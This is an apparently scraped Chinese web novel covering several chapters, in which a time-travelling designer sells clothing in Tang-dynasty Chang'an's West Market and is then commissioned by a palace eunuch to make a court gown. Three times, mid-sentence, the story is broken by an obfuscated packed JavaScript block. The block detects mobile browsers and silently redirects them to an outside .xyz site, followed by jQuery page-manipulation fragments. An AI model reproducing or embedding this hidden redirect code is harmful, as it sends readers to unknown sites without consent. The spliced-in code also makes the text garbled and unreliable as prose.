《霓裳长安:清伊黎的制衣风华录》 2. 西市初啼 赵婆婆的惊呼声还萦绕在耳边,清伊黎却已平静下来。她将那件湖水绿渐变半臂小心叠好,放在硬板床唯一的枕边,然后端起那碗早已凉透的粟米粥,几口喝了下去。粗糙的粟米划过喉咙,带着一种真实的磨砺感,反而让她更加清醒。 活下去,不仅仅是喘气。是要有尊严、有选择地活。 她的资本,就是她这双手,和她脑子里那些超越千年的审美与技艺。 “婆婆,”她放下碗,声音还带着些许沙哑,眼神却清亮坚定,“这些布头,还有针线,我能再用一些吗?” 赵婆婆看着她,像是第一次真正认识这个被她从水里捞起来、沉默寡言的姑娘。那眼神里的东西,让她这个在底层挣扎了大半辈子的老婆子感到陌生,却又莫名地被触动。她嗫嚅了一下,终究还是点了点头:“染坏了的布头,后头堆着一些,管事说了没啥用,你……你用得着,就拿去。针线我屋里还有半卷。” “谢谢婆婆。”清伊黎真心实意地道谢。这是她在这个世界,得到的第一份善意,也是她起步的第一块基石。 接下来的几天,清伊黎几乎足不出户。她将自己关在那间狭小、弥漫着霉味和染料气味的小屋里,像一头沉默的困兽,又像一位虔诚的苦行僧。她将所有能找到的废弃布头——那些染花了色的、颜色不均的、甚至是带着瑕疵的零碎绸缎和麻布,一一摊开,仔细审视它们的颜色、纹理和质地。 她的“设计室”,就是那张吱呀作响的木桌和硬板床。没有画板,没有软件,所有的构思都在她的脑海里反复推演、组合。她用烧过的木炭条在粗糙的草纸上勾勒草稿,手指在布料上比划、丈量。 她做的第一件完整的成衣,是一件齐胸襦裙。上身是一件浅樱粉的短衫,用的是染坊里一批染得过于粉嫩、被认为“不够庄重”而废弃的丝绸。清伊黎却看中了那粉嫩里透着的娇俏。她将短衫的领口改成了更显脖颈修长的微微敞开的式样,袖口收紧,用同色系的丝线绣了细密的、几不可见的暗纹。 下身的裙子,她大胆地采用了拼接。利用几块颜色深浅不一的月白色布头,从腰际开始,由深入浅,营造出月光流淌般的层次感。裙头用仅存的一小块靛蓝染布镶边,压住整体的轻飘,增添了一抹沉静。没有复杂的刺绣,她只在裙摆处,用最简单的针法,疏疏落落地绣了几片飘落的樱花花瓣,与上衣的粉色遥相呼应。 当这套襦裙完成,清伊黎将它悬挂在屋内唯一那根较为光滑的横梁上时,连她自己都屏住了呼吸。 陋室生辉。 简陋的、斑驳的泥坯墙,成了这套衣裙最好的背景板。粉与白的交融,温柔得像一场春天的梦,那几片樱瓣,仿佛随时会随风飘落。它既有着唐代服饰的形制骨架,却又注入了完全不同的灵魂——轻盈、灵动、充满了少女的娇媚与诗意。 赵婆婆进来送饭时,又一次看得呆住,手里的粗陶碗差点掉在地上。“天爷……这……这真是给凡人穿的?怕是月宫里的仙子穿的也不过如此了……” 清伊黎轻轻抚过裙摆,指尖感受到丝绸的微凉与顺滑。她知道,方向对了。 然而,仅有作品是不够的。她需要将它们变成钱,变成在这个世界立足的根本。 “婆婆,”她转向赵婆婆,神情认真,“我想做些衣裳拿去西市卖,您看……可行吗?” 赵婆婆面露难色:“伊黎啊,你的手艺是没得说,老婆子我活了大半辈子没见过。可……西市那些成衣铺子,都是有根基的,咱们无依无靠,拿什么去跟人家争?再说,你这衣裳样子太新,怕是……没人敢买啊。” 清伊黎沉默了片刻。赵婆婆的担忧是现实的。在一个崇尚传统、等级森严的社会,过于出挑,可能意味着危险。 “我们不直接和铺子争。”清伊黎沉吟道,“我们不去租铺面,就在市集角落里,摆个小摊,只摆一两件,试试水。” 她看中的是西市那庞大的人流量,以及其中潜在的对“美”有追求、又并非顶级权贵的女性。她们可能囊中不算十分羞涩,却又够不上顶级定制,对现有的、千篇一律的成衣感到不满。她的目标客户,就是这些人。 说干就干。清伊黎又连夜赶制了两件小物。一件是改良的帔子,不再是寻常的长条丝巾,她将其裁成了略带弧度的披肩式样,边缘用深浅不同的紫色布头拼接出朦胧的云纹,两端缀着同色系的流苏。另一件则是一件儿童穿的小半臂,用色彩鲜艳的碎布拼成了可爱的动物图案,憨态可掬。 她没有多做,物以稀为贵,尤其是在初始阶段。 第二天,天刚蒙蒙亮,清伊黎便起身。她换上了自己那件唯一的浅青色旧襦裙,将那头乌黑的长发用一根最简单的木簪挽起,不施粉黛。她需要低调。然后将那套樱粉襦裙、云纹帔子和童装小半臂仔细包好,谢绝了赵婆婆的陪同,独自一人,揣着一颗忐忑又决然的心,再次踏入喧嚣的西市。 她没有选择那些热闹的主干道,而是在靠近杂耍艺人、说书摊子的一片相对开阔、人流却也不少的空地边缘,寻了个不挡路的角落。她铺开一块赵婆婆给的干净粗布,将三件衣物一一展开,小心地整理好。 没有吆喝,没有招揽。她只是静静地站在那里,像一株悄然生长的青竹。 起初,人来人往,目光扫过她的摊位,大多带着好奇与审视,停留片刻,便又移开。有人低声议论:“这衣裳样式好生古怪。”“颜色倒是鲜亮,可这拼拼接接的,不成体统吧?”“看着不像正经铺子里出来的……” 质疑声如同细小的针,扎在清伊黎的心上,但她面色平静,只是微微垂着眼,仿佛在欣赏自己的作品。她相信,美本身具有穿透力。 时间一点点过去,日头升高,市集越发喧嚣。清伊黎的摊位前,依旧无人问津。她的心一点点沉下去。难道,真的不行吗?这个时代,真的无法接受她的审美? 就在她几乎要产生自我怀疑时,一个带着丫鬟、衣着体面的年轻女子被那件樱粉襦裙吸引,停下了脚步。她看了许久,眼神里流露出明显的喜爱,却又带着犹豫。 “这位小娘子,”女子的丫鬟上前一步,语气还算客气,“这衣裙是何处来的?怎从未见过这般样式?” 清伊黎抬起眼,不卑不亢地回答:“回小娘子,这是家中秘传的手艺,独此一份。” 那年轻女子亲自走上前,伸手轻轻抚摸那襦裙的布料,指尖在那些细腻的暗纹和樱花绣片上流连。“这料子……似乎是染坏了的次品?”她微微蹙眉。 清伊黎心中一动,知道关键时刻来了。她深吸一口气,迎上女子的目光,声音清晰而平稳:“娘子好眼力。正是利用了些许染渍不均的布料。然而,瑕疵并非终点。您看这粉色的过渡,是否比均匀染色更显柔和灵动?这月白裙的层次,是否宛如月华倾泻?化腐朽为神奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438567|185010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正是设计的意义所在。美,不在于材质的完美无瑕,而在于如何将它赋予独特的生命。” 她的话语不急不缓,带着一种超越这个时代的自信与理念。 那年轻女子愣住了,显然从未听过这样的论调。她再次低头审视那套衣裙,眼中的犹豫渐渐被一种豁然开朗的欣赏所取代。是啊,这衣裙的确有一种说不出的韵味,是市面上所有成衣都没有的灵气。 “你说得……有些道理。”女子沉吟着,又指了指那云纹帔子,“这个呢?” “此乃云涯帔,取其如云似雾,飘逸天涯之意。”清伊黎信手拈来,给作品赋予诗意的名字,更能打动人心。 女子显然被打动了。她与丫鬟低声商议了几句,最终,丫鬟问道:“这套襦裙,并这件帔子,作价几何?” 清伊黎心中快速盘算。料子是废弃的,成本几乎为零,但她的手艺、设计理念,是无价的。她不能贱卖,但也绝不能漫天要价吓跑这第一位客人。 “襦裙,五百文。帔子,两百文。”她报出了一个对于普通百姓来说是天文数字,但对于稍有资产的人家尚可考虑的价格。这相当于一个低级官吏近一月的俸禄。 丫鬟倒吸一口凉气,那年轻女子也微微挑眉。 清伊黎补充道:“用料虽非顶级,但设计独一无二,手工亦倾注心血。长安城内,绝不会出现第二件相同的。”她强调着“独一无二”。 年轻女子看着那套越看越爱的衣裙,又摸了摸那别致的帔子,终究是爱美之心占了上风。她点了点头:“罢了,确实别致。与我包起来吧。” 第一笔交易,达成。 握着那沉甸甸的七百文钱,清伊黎感觉自己的手心都在发烫。这不仅是一笔钱,更是对她能力的认可,是对她在这个陌生时代生存下去的可能性的验证。 很快,那件童装小半臂也被一个带着孩子的富商妇人看中,以一百五十文的价格买走。清伊黎带来的三件作品,在不到一个上午的时间里,销售一空。 她收拾好粗布,准备离开。周围一些摊贩和行人投来或羡慕、或惊奇、或探究的目光。她知道,今天她这个突然出现又迅速消失的“神秘摊主”,以及她那“古怪”却美丽的衣裳,将会成为西市一小部分人茶余饭后的谈资。 这,正是她想要的第一步。 回到染坊小屋,赵婆婆看到她带回来的铜钱,惊得半天合不拢嘴。“这……这么多?就那三件……布头做的……” 清伊黎将钱小心收好,脸上露出了穿越以来第一个真正轻松的笑容:“婆婆,这只是开始。” 她将一部分钱硬塞给赵婆婆,感谢她这些时日的收留与帮助。然后,她用剩下的钱,去西市购买了一些质量更好、但并非顶级,且颜色较为素净、便于二次设计和染色的基础布料,以及更多、更齐全的针线、剪刀等工具。 她的“工作室”依旧简陋,但她的心,却前所未有地充实和明亮。 她坐在窗前,就着油灯微弱的光芒,手指拂过新买的白绢,脑海中已经勾勒出新的图样。她想到了水墨的晕染,想到了敦煌壁画的色彩,想到了盛唐气象里那包容万象的磅礴…… 她知道,西市初啼,声音还很小。但既然已经发出了声音,她就一定要让这声音,越来越响亮,直至响彻整个长安。 清氏衣坊,虽还未有正式的名号,却已在她心中,悄然挂牌。 3. 暗流与花鸟使 七百文钱很快变成了更好的布料、丝线和工具,也变成了清伊黎眼角眉梢日益坚定的神采。她不再终日困守于那间陋室,而是开始有目的地在西市游走。目光不再局限于成衣铺子,更多地流连于绸缎庄、染坊,甚至售卖海外奇珍的胡商店铺。 她仔细观察市面上流行的绫罗绸缎,它们的织法、光泽、厚度;她分辨不同染坊出品的颜色差异,记住那些特别鲜亮或沉静的色号;她甚至在胡商那里,看到了一些中原罕见的织金锦和带有异域纹样的轻纱,价格昂贵得令人咋舌,却在她心里埋下了种子。 她的“清氏衣坊”依旧无名无分,蜗居在染坊后院,产量极低。她不再去摆摊,那太招摇,也非长久之计。赵婆婆人缘不错,悄悄帮她牵线,将新做的两件衣裙卖给了一户殷实人家即将出嫁的女儿和一位喜好风雅的文人妾室。口耳相传,一种关于“西市某处有神秘裁缝,所做衣物别具一格”的隐约流言,开始在某些小圈子里悄然蔓延。 这日清晨,清伊黎正在赶制一件新的订单——一位舞姬想要的,能在旋转时如莲花盛开的舞裙。她设计了下摆层层叠叠、渐次绽放的裙裾,需要用极薄的轻容纱和丝绸拼接,对裁剪和缝合的要求极高。 门外传来赵婆婆略显急促的声音:“伊黎,伊黎在吗?” 清伊黎放下手中的针线,开门。赵婆婆脸上带着一丝不安,压低声音:“坊里的刘管事来了,说要见你。” 刘管事是这家染坊的小头目,平日里并不理会后院这些杂事。清伊黎心头微凛,整理了一下衣衫,跟着赵婆婆走到前院。 刘管事是个四十岁上下的精瘦男人,穿着半旧的绸衫,正背着手看院里晾晒的布匹。见清伊黎过来,他转过身,目光在她身上打了个转,带着审视。 “你就是赵婆婆收留的那个姑娘?叫清伊黎?”他语气平淡,听不出喜怒。 “是,多谢刘管事容身之处。”清伊黎微微屈膝,行了个礼。 刘管事嗯了一声,踱了两步:“听说……你手艺不错,用些边角料,就能做出些新奇玩意儿,还卖了些钱?” 消息果然传开了。清伊黎心中警惕,面上却不动声色:“糊口的手艺罢了,不敢当管事谬赞。也是托婆婆和染坊的福,才有些材料可用。” “材料?”刘管事嗤笑一声,伸手指了指院子里那些成捆的、染好待售的布料,“那些才是材料。你用的那些,”他顿了顿,目光扫向后院堆放废料的方向,“本是该扔的东西。” 清伊黎沉默着,等待他的下文。 刘管事话锋一转,语气缓和了些:“你有这本事,窝在后院终究不是办法。这样,以后染坊里那些染坏了的、颜色不匀的布头,我可以做主,低价匀给你。价格嘛,自然比废料价高,但肯定比你去外面买便宜。如何?” 清伊黎瞬间明白了。这位刘管事,是看到了其中的利益。将原本要丢弃的废料,转手卖给她这个“能化腐朽为神奇”的人,从中赚取差价。这算盘打得精明。 她快速权衡。接受,意味着她能获得稳定且相对廉价的“基础材料”,但也意味着她的命脉一定程度上被刘管事捏住,价格、供应量都由他说了算。不接受,她就要面临材料短缺的困境,去外面购买成本高昂,而且大量购买一个无名小卒也容易惹人注目。 “多谢刘管事关照。”清伊黎抬起头,目光平静,“不知这价格,具体如何算?” 一番讨价还价,最终定下了一个比废料价高,但远低于市价的价格。清伊黎知道,这已是目前对她最有利的选择。她需要积累,需要时间。 材料的问题暂时缓解,清伊黎却并未感到轻松。刘管事的精明让她意识到,在这个时代,没有根基的技艺,如同怀璧其罪,随时可能被人拿捏。 她更加埋头于工作,那件莲花舞裙耗费了她巨大的心力。然而,就在舞裙即将完成,只差最后几片“花瓣”的缝合时,她发现自己计算失误,预定的轻容纱不够了! 这种极薄的纱料,西市只有少数几家胡商有售,价格不菲。她之前购买的那一批,已是将手头大部分活钱投入进去。如今短缺,意味着要么修改设计,前功尽弃,要么……再去弄钱买纱。 修改设计?清伊黎看着那已初具雏形、层层叠叠宛如真实莲盏的裙摆,几乎能想象到它舞动时的绝美风姿。她舍不得。这是她的作品,是“清氏”水准的体现。 可钱从哪里来?赵婆婆那里已不好意思再借,之前的订单款项尚未完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438568|185010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结清…… 正当她对着那团柔软的、却如同磐石般沉重的轻容纱发愁时,院门外忽然传来一阵不同寻常的喧哗。马蹄声,呵斥声,以及一种无形的、令人心悸的威压感。 赵婆婆慌慌张张地跑进来,脸色煞白,一把拉住清伊黎的手,声音都在抖:“伊、伊黎!快,快收拾一下!外面……外面来了宫里的人!是花鸟使!” 花鸟使? 清伊黎脑中飞快搜索着原身那点可怜的记忆碎片,以及这些时日道听途说的信息。花鸟使,并非正式官职,多是宫中派往各地,尤其是富庶之地,为宫廷采办物品、搜罗奇珍异宝,有时……也包括物色美女的内侍或官员。他们权力可大可小,行事往往随心所欲,地方官员和商贾对他们既巴结又畏惧。 他们怎么会来到西市这家不起眼的小染坊? 不容她细想,一阵脚步声已逼近后院。刘管事弓着腰,一脸谄媚地引着几个人走了进来。 为首一人,约莫三十多岁年纪,面白无须,穿着一身靛蓝色圆领常服,料子普通,但做工精细。他身形微胖,脸上带着一种似笑非笑的表情,眼神却锐利得像刀子,慢悠悠地扫视着这简陋的院落。他身后跟着两名穿着褐色劲装的随从,眼神冷峻,气息沉稳,显然是护卫。 “冯内侍,您看,这就是我们染坊的后院了,杂乱得很,污了您的眼……”刘管事陪着小心。 那位冯内侍没理会他,目光掠过堆放的染缸、晾晒的布匹,最后,落在了站在小屋门口的清伊黎身上。 他的眼神在清伊黎那张虽然不施粉黛却清丽难掩的脸上停顿了一瞬,随即下移,落在了她手中那件尚未完成的莲花舞裙上。 那件舞裙,即使在未完成的状态下,也已然夺目。层叠的轻纱与丝绸勾勒出完美的弧度,渐变的颜色从莲心的嫩黄向花瓣尖端的粉白过渡,在阳光下泛着柔和的光泽,仿佛一件精妙的艺术品。 冯内侍原本漫不经心的眼神,瞬间凝住了。他抬了抬手,止住了刘管事的絮叨,缓步向前,走到清伊黎面前。 “这东西,”他伸出保养得宜、指甲修剪得干干净净的手指,虚虚地点了点那件舞裙,声音不高,却带着一种不容置疑的压迫感,“是你做的?” 4. 金线与宫纱 冯内侍那根虚点的手指,仿佛带着无形的寒气,瞬间冻住了小院里所有的声音。赵婆婆吓得大气不敢出,刘管事额角渗出了细密的汗珠,腰弯得更低了。 清伊黎感觉自己的心脏像是被一只冰冷的手攥紧,但她强迫自己稳住呼吸,垂下眼睫,避开那过于锐利的审视目光,微微屈膝,声音尽量保持平稳:“回内侍的话,是民女所做。” 冯内侍没有立刻说话,只是又上前半步,几乎要贴到那件舞裙前。他仔细地看着那层层叠叠的“花瓣”,看着那精妙的渐变染色,看着那几乎细不可辨却异常平整的针脚。他的眼神从最初的审视,慢慢转变为一种掺杂着惊讶和探究的专注。 “这染色……”他伸出手,这一次,指尖轻轻触碰了一下最外层那片粉白的轻纱,“非寻常之法。这针脚……也非长安常见的路数。” 他的声音不高,却字字清晰,敲打在清伊黎的心上。这位内侍,绝非等闲,眼力毒辣。 “民女家中曾有长辈擅染织,学了些许皮毛,自己胡乱琢磨,登不得大雅之堂。”清伊黎谨慎地回答,将一切推给虚无的“家学渊源”,这是她早就想好的托词。 “胡乱琢磨?”冯内侍轻笑一声,那笑声里听不出喜怒,却让人心底发毛,“能琢磨出这般‘莲花盛放’之态,你这胡乱,倒是比许多正经匠人的‘正经’更有意思。” 他收回手,目光终于从舞裙上移开,再次落到清伊黎脸上,这一次,打量得更加仔细,仿佛要将她从皮到骨看个通透。“你叫什么名字?何方人士?在此作甚?” 一连三个问题,带着官家的审问意味。 清伊黎心头一紧,知道此刻绝不能有丝毫破绽。她依着原身的记忆和这些时日编好的说辞,低眉顺目地答道:“民女清伊黎,祖籍剑南道,父母早亡,前来长安投亲不遇,幸得染坊赵婆婆收留,暂居于此,靠做些针线活计勉强糊口。” “清伊黎……”冯内侍重复了一遍这个名字,似乎在记忆中搜寻,片刻后,显然并无所得。他不再看她,转而环顾这简陋到近乎破败的小院,目光在那堆放着废弃布料的角落顿了顿,又扫过清伊黎屋内桌上摊开的炭笔草稿和零碎布料。 “靠这些‘废料’糊口?”他语气平淡,却像一根针,刺破了清伊黎努力维持的平静表象。 刘管事在一旁冷汗涔涔,连忙插话:“冯内侍明鉴,这丫头确实有些歪才,能用些下脚料做些新奇玩意儿,小的也是看她可怜,才……” 冯内侍抬手,止住了他的话头。他再次看向那件莲花舞裙,眼神闪烁不定。空气仿佛凝固了,只有远处西市隐约传来的喧嚣,衬得这小院愈发寂静得可怕。 清伊黎屏住呼吸,她能听到自己心脏在胸腔里狂跳的声音。这位宫中来的内侍,他的态度,将直接决定她此刻的安危,甚至未来的命运。是福?是祸? 终于,冯内侍缓缓开口,语气依旧听不出情绪:“宫中尚服局近日为一批新贡的宫纱遴选新样,以备今岁千秋节之用。各地进上的图样皆显匠气,缺乏新意。” 他顿了顿,目光如钩,落在清伊黎身上:“咱家看你这东西,虽材料粗陋,形制亦有逾矩之处,然则……这份巧思灵动,倒有几分野趣。” 千秋节?那是当朝圣人的寿辰!清伊黎心中巨震。尚服局,宫中专司服饰制作的机构!她竟然……以这样一种方式,进入了宫廷的视野?虽然只是“野趣”的评价,但其中蕴含的机会与风险,同样巨大。 “民女技艺粗浅,不敢亵渎宫纱。”清伊黎立刻低头,不敢有丝毫得意。在这种人精面前,任何一点情绪的外露都可能被过度解读。 冯内侍似乎对她的谦逊还算满意,微微颔首:“是不是亵渎,不是你说了算,也不是咱家说了算。”他话锋一转,“三日后,会有人送一批淘汰下来的次等宫纱和一些金线、彩线过来。你,就用这些材料,依着你这份‘巧思’,做一件完整的、合乎规制的女子礼服。襦、裙、衫、帔,皆不可少。” 清伊黎猛地抬头,眼中难掩惊愕。用宫纱?做礼服?这…… “记住,”冯内侍的声音陡然转冷,带着不容置疑的威严,“规制不可错,品级……按六品宫嫔常服即可。但‘新意’不可无。做得好,是你的造化。做得不好……”他没有说下去,但那未尽之语里的寒意,让旁边的赵婆婆腿一软,差点瘫倒在地。 “民女……遵命。”清伊黎压下心中的惊涛骇浪,深深一拜。她没有选择。这是一个命令,不是商量。 冯内侍不再多言,转身便走。刘管事连忙哈着腰跟上,一路恭送。两名护卫紧随其后,脚步声渐远,小院里那令人窒息的威压才缓缓散去。 赵婆婆几乎虚脱,扶着门框才站稳,声音带着哭腔:“伊黎……这、这可如何是好?宫里的东西……万一做不好,可是要掉脑袋的啊!” 清伊黎站在原地,看着那件未完成的莲花舞裙,指尖微微颤抖。恐惧吗?是的,她恐惧。那是对未知权力、对生死不由己的天然恐惧。但在这恐惧的深处,另一种情绪,一种属于设计师挑战高难度项目的兴奋与斗志,也在悄然燃烧。 宫纱?金线?唐代宫廷的礼服规制? 这简直是……为她量身定制的挑战书! 她扶住赵婆婆,声音虽然还有些发颤,眼神却已重新凝聚起光芒:“婆婆,别怕。既然接了,我们就做好它。” 接下来的三天,清伊黎几乎是不眠不休。她首先需要彻底了解唐代六品宫嫔常服的规制。原身的记忆模糊,她只能依靠赵婆婆和刘管事帮忙,辗转找到一位从宫中年老放出的嬷嬷,花了些钱,仔细询问了礼服的颜色、纹样、尺寸、层数等具体要求。 襦、衫、裙、帔,每一样都有讲究。颜色不能逾制,纹样不能僭越,甚至连袖子的宽度、裙摆的层数,都有模糊的规定。这就像戴着最沉重的镣铐,却要跳出最惊艳的舞蹈。 冯内侍派人送来的材料在第二天下午就到了。几个面无表情的小内侍抬进来两个箱子。打开一看,即便是“淘汰下来的次等”宫纱,那质地、那光泽、那轻薄如烟如梦的质感,也瞬间让清伊黎屏住了呼吸。那是一种她从未接触过的顶级材质,细腻、柔滑,在光线下泛着珍珠般柔和的光泽。还有那些金线、彩线,熠熠生辉,华美非凡。 但同时,她也发现了难题。这些宫纱过于轻薄柔软,极难塑形,缝合时稍有不慎就会抽丝或留下难看的针脚。而金线虽然华丽,却质地较硬,用于刺绣需要极高的技巧,否则会显得呆板僵硬。 时间紧迫,不允许失败。清伊黎将自己关在屋里,对着那些珍贵的材料和繁复的规制要求,陷入了长时间的沉思。炭笔在草纸上划了又改,改了又划。 直接照搬规制,必然落入“匠气”,无法体现冯内侍要求的“新意”。完全抛开规制,则是自寻死路。必须在规则的缝隙里,找到创新的空间。 她的目光落在了那批月白色的宫纱上。按照规制,六品宫嫔礼服可用浅色,但纹样需符合身份。她想到了月光,想到了水波,想到了唐代诗人笔下那空灵澄澈的意境。 有了! 她决定以“月下江波”为主题。既符合宫廷对雅致、祥瑞的追求,又能巧妙地融入她擅长的渐变、层叠技法。 她选择月白色的宫纱作为主料,制作上衣的短衫和下身的裙子。短衫的规制是交领右衽,窄袖。她没有改变其基本形制,但在领口和袖缘的处理上,用了心思。她将极细的金线掺入银线,以近乎透明的丝线为底,绣出极其细密、若隐若现的水波纹,沿着领缘和袖口蔓延,远看只是隐隐流光,近看才能发现那精妙的纹路。 下身的裙子,是重头戏。规制要求是间色裙或多幅裙。她没有采用常见的竖条间色,而是大胆地运用了横向的渐变晕染!她利用不同深浅的月白、浅青和微量黛蓝染料,小心翼翼地在多层宫纱上,营造出从腰际到裙摆,由明亮到深邃,仿佛月光洒在夜晚江面,由近及远,色彩微妙的过渡。这需要对染料和纱质极强的掌控力,任何一点失误都会导致颜色浑浊不堪。 为了固定这轻薄的纱料,同时增加裙子的垂坠感和动态美,她采用了极其复杂的多层缝合工艺,将数层晕染好的宫纱巧妙地固定在一起,内部还衬了一层同色系的软绸,既不影响飘逸,又赋予了裙子骨架。裙头则用靛青色的织锦缎镶边,压住整体的轻飘,更显端庄。 帔子,她选择了与裙子最深处颜色相呼应的黛蓝色轻容纱。她没有做成寻常的长条,而是裁成了更宽大的、略带弧度的披帛式样,边缘用金线和银线交错,绣上了细碎的、仿佛被风吹起的浪花卷纹。当她手持帔子轻轻抖动时,那黛蓝色的轻纱如夜色流淌,其上的金银浪花如同碎星闪烁。 最后是纹样。规制要求纹样不能使用龙凤等特定皇家符号。她选择了寓意吉祥、又贴合主题的“江崖海水”与“云鹤”纹的变体。她没有将纹样大面积铺陈,而是将其拆解、简化,以更加抽象和灵动的形式,点缀在裙摆的特定位置和帔子的角落。比如,在裙摆渐深至黛蓝的区域,用银线绣了几只姿态各异、翩然欲飞的鹤影,仿佛月下江边的仙禽;在江崖海水的纹样处理上,她只取其“水势”的线条感,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438569|185010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金线勾勒出流畅的波弧,与领缘袖口的水波纹遥相呼应。 这三天,清伊黎几乎未曾合眼。油灯燃尽了一盏又一盏,她的手指被针扎破了无数次,眼睛因为极度专注而布满血丝。赵婆婆心疼不已,只能默默地为她端茶送水,准备些简单的饭食。 缝合宫纱时,她必须凝神静气,每一针都如履薄冰。刺绣金线浪花和云鹤时,她需要运用特殊的针法,让坚硬的金线在纱料上呈现出柔和飘逸的姿态。她对色彩的把控达到了极致,每一次染料的调配,都经过反复试验,务必使那月下江波的意境完美呈现。 第三天的傍晚,夕阳的余晖透过窗棂,为小屋镀上一层暖金色。清伊黎缝完了最后一针,咬断了线头。 她缓缓地,将整套礼服一一展开,悬挂起来。 刹那间,仿佛将一片月光下的江景搬到了这陋室之中。 月白渐变的襦衫与长裙,层次丰富,空灵飘逸,上面的水波暗纹与银线云鹤在光线流转间若隐若现。黛蓝色的帔子如夜色凝成的轻烟,其上游走的金银浪花熠熠生辉。整套礼服既庄重典雅,符合宫廷规制,又充满了诗情画意和流动的美感,完全跳脱了传统礼服的呆板与沉闷。 它静默地悬挂在那里,却仿佛在呼吸,在诉说一个关于月光、江水与仙鹤的静谧故事。 赵婆婆看呆了,张着嘴,半天才喃喃道:“这……这真是给宫里娘娘穿的?老婆子我……我像是看到了月宫……” 清伊黎疲惫地靠在桌边,看着自己的作品,心中百感交集。有完成挑战的欣慰,有对未知评判的忐忑,也有一种强烈的预感——这套礼服,或许将真正改变她在这个世界的轨迹。 第四日,冯内侍准时到来。这一次,他身边只带了一名随从。 当他踏入小屋,目光落在悬挂着的那套“月下江波”礼服上时,他脸上那惯常的、似笑非笑的表情瞬间凝固了。 他站在那里,一动不动,看了很久很久。 小院里静得能听到风吹过布幡的声音。 清伊黎垂手站在一旁,能清晰地听到自己如擂鼓般的心跳。 终于,冯内侍缓缓走上前,他的动作甚至带上了一丝不易察觉的小心。他伸出手,极其轻柔地拂过那月白裙摆上渐变的色彩,指尖在那银线绣成的鹤影上停留,又抬起手,感受那黛蓝帔子拂过手背的冰凉柔滑。 他的眼神,从最初的震惊,逐渐转变为一种极其复杂的欣赏,甚至……是一丝狂热。 他收回手,转过身,第一次用正眼,认真地、毫无保留地打量着清伊黎,那目光仿佛要重新评估她的价值。 “你可知,”他开口,声音比上次见面时,少了几分官腔,多了几分实质的意味,“尚服局那些积年的老匠人,用着最好的料子,画了三个月的图样,也没有一件,能让贵妃娘娘点过头。” 清伊黎心中一震。贵妃娘娘?那位传说中“三千宠爱在一身”的杨玉环? 冯内侍没有等她回答,目光再次投向那套礼服,语气带着一种奇异的叹喟:“化宫纱为月华,转金线作水纹……清伊黎,你这双手,不是歪才,是点金之手。” 他顿了顿,语气陡然变得严肃而郑重:“这套礼服,咱家带走了。你,好生在此待着。关于你的一切,关于这套衣裳的来历,闭紧你的嘴。若有半分泄露……” 那未尽的威胁,比任何直白的警告都更令人心悸。 “民女明白。”清伊黎低头应道。 冯内侍示意随从上前,极其小心地将那套礼服收入一个特制的、衬着软缎的木匣中,仿佛那不是一件衣服,而是一件稀世珍宝。 他没有再多说一句话,抱着木匣,转身离去。这一次,他的脚步似乎比来时,要急促些许。 小院再次恢复了平静,仿佛刚才的一切只是一场梦。 但清伊黎知道,不是梦。 她看着空荡荡的屋内,那里还残留着宫纱和金线的华美气息。她抬起自己那双因为连续劳作而有些红肿、布满细小针眼的手,指尖似乎还萦绕着触摸顶级材料时的颤栗感。 金线与宫纱,将她与那个遥远而森严的紫宫连接了起来。 福兮?祸兮? 她不知道。她只知道,从这一刻起,她再也无法安心地蛰伏于这西市一隅,只做一个靠着“废料”和“巧思”糊口的无名裁缝了。 长安的水,比她想象得更深。而她,已经一只脚踏了进去。 风,起于青萍之末。她的“清氏衣坊”,或许将以一种她从未预料过的方式,登上一个更高、也更危险的舞台。 5. 第 5 章 冯内侍带着那套“月下江波”离去后,小院陷入了某种诡异的寂静。仿佛一场狂风暴雨骤然停歇,只留下湿漉漉的、令人不安的宁静。赵婆婆连着好几日都心神不宁,时不时侧耳倾听院外的动静,生怕下一刻就有宫中的禁卫冲进来拿人。连刘管事再来送“废料”时,态度也恭敬谨慎了许多,绝口不提那日之事,价格甚至又悄悄降了几分。 清伊黎表面看起来平静,照常画图、裁剪、缝纫,甚至接了两个小订单,为西市一位酒肆胡姬改制舞裙,为一位文官家的小姐做及笄礼的常服。但只有她自己知道,内心深处那根弦始终紧绷着。 她在等。等一个结果,等一个宣判。冯内侍那句“好生在此待着”像一道无形的枷锁,将她困在这方寸之地,也困在一种前途未卜的焦灼里。 时间一天天过去,长安城进入了初夏。曲江池的荷花开始打苞,西市的槐树洒下浓密的绿荫,空气里弥漫着草木蒸腾的暖香和市井特有的活力。关于“神秘裁缝”的流言似乎并未扩大,依旧只在特定的小圈子里隐秘流传,这让她稍稍安心,看来冯内侍的警告起了作用。 